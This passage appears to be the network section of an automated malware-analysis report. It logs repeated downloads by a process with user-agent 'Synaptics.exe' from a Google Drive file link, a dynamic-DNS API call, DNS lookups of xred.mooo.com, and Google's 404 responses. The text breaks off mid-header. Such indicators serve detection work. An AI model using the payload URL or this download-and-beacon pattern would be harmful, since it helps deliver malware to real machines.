Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978 HTTP/1.1User-Agent: MyAppHost: freedns.afraid.orgCache-Control: no-cache

Source: global traffic	DNS traffic detected: DNS query: docs.google.com
Source: global traffic	DNS traffic detected: DNS query: xred.mooo.com
Source: global traffic	DNS traffic detected: DNS query: freedns.afraid.org
Source: global traffic	DNS traffic detected: DNS query: drive.usercontent.google.com

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC6uJSEM2CSen1Mx2LBZYTTh5MA9ZjtLvumIy0FuHZPqh1I0yLf2MYXUck0Pb1qJa4QnContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 10:35:56 GMTP3P: CP="This is not a P3P policy! See g.co/p3phelp for more info."Cross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: script-src 'report-sample' 'nonce-uEo7EtXNFFLfbgUy3hodTg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Length: 1652Server: UploadServerSet-Cookie: NID=520=RqDXBJunwwjj2_C9QPMQBvl40xPXXJ0y_fIC7Up7BSsJU4ulAIR3W4UGJa019yDdcw-wU2ZCjiWOf6Jj4qcrHWJB3js1k8IA-AFK1jiyJsHPeBg6Vie9fWRBqVpuNHeGBLEqQFDOfY3JM5cdCJbfnFxHup-jxh0_JlhrUKdSpndAWo109eAkm-E; expires=Tue, 01-Jul-2025 10:35:56 GMT; path=/; domain=.google.com; HttpOnlyAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC5Jir9ahu3x9JHDu-iNVkGTcF3O2oLQ-MSM2Z95ZgFRLJG4bt5nmMdUjkgXVnQdJCSxikhX7ZsContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 10:35:56 GMTP3P: CP="This is not a P3P policy! See g.co/p3phelp for more info."Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-h5BQBnGjmxsHdAXq3bbYgQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652Server: UploadServerSet-Cookie: NID=520=ANMwnx3g6cBhV0fFuX_RPPjvQ4YdkR1XvD6cxsmRyYxgLijsrrji59j-0abUEVZdnYs8a0qNq0sA_OsXLmRfKnekCyrRWoZqfgI2KO46A4ZYYOhuxohr01hnix2SH6LZz_KDx8BxOffaeHLMuzZ3yHZGijtnZrgvuwg0VPQu9C0ipgeEOJ035FM; expires=Tue, 01-Jul-2025 10:35:56 GMT; path=/; domain=.google.com; HttpOnlyAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC4jUZnsR7ku8pekom5Ye6kOr9KT8qbukHhbmrcjIDOdfSrIY4oS3P9yKCWaHq3rmTRWContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 30 Dec 2024 10:35:57 GMTP3P: CP="This is not a P3P policy! See g.co/p3phelp for more info."Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-jvGhEtF5kKiK_-35SBjT2Q' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerSet-Cookie: 